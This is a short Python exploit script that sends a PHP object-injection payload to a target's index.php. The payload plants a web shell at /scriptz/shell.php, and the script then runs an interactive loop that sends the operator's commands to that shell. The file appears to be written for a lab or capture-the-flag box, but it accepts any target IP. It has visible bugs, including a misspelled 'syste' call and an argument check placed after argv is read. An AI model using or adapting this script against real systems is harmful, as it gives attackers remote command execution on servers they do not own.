import requests
import sys

target = sys.argv[1]

if len(sys.argv) != 2:
    print("#Made By-Vanshal Gaur Twitter-@vanshalg\n"
    "\n\nUSAGE: python " + sys.argv[0] + " TARGET_IP")
    sys.exit(-0)


url = "http://" + target + "/index.php"
headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0", "Accept": "text/htmlapplication/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding":"gzip, deflate", "Content-Type": "application/x-www-form-urlencoded","Connection": "close", "Upgrade-Insecure-Requests": "1"}

data = {"param": "O:3:\"Log\":2:{s:8:\"filename\";s:31:\"/var/www/html/scriptz/shell.php\";s:4:\"data\";s:35:\"<?php echo syste($_GET[\"cmd\"]); ?>\";}"}
r = requests.post(url, headers=headers, data=data)




while True:
    command = str(input('SHELL$ '))
    if command == "exit" or command == "quit":
        print("Goodbye.")
        exit(0)
    elif not command:
        print("\nPlease type a command")
        continue
    injection = requests.get('http://' + target + '/scriptz/shell.php?cmd='+ command)
    print(injection.text)
    if r.status_code == 200:
        pattern = r.text
        print(command)
    else:
        print("Failed")
        exit(0)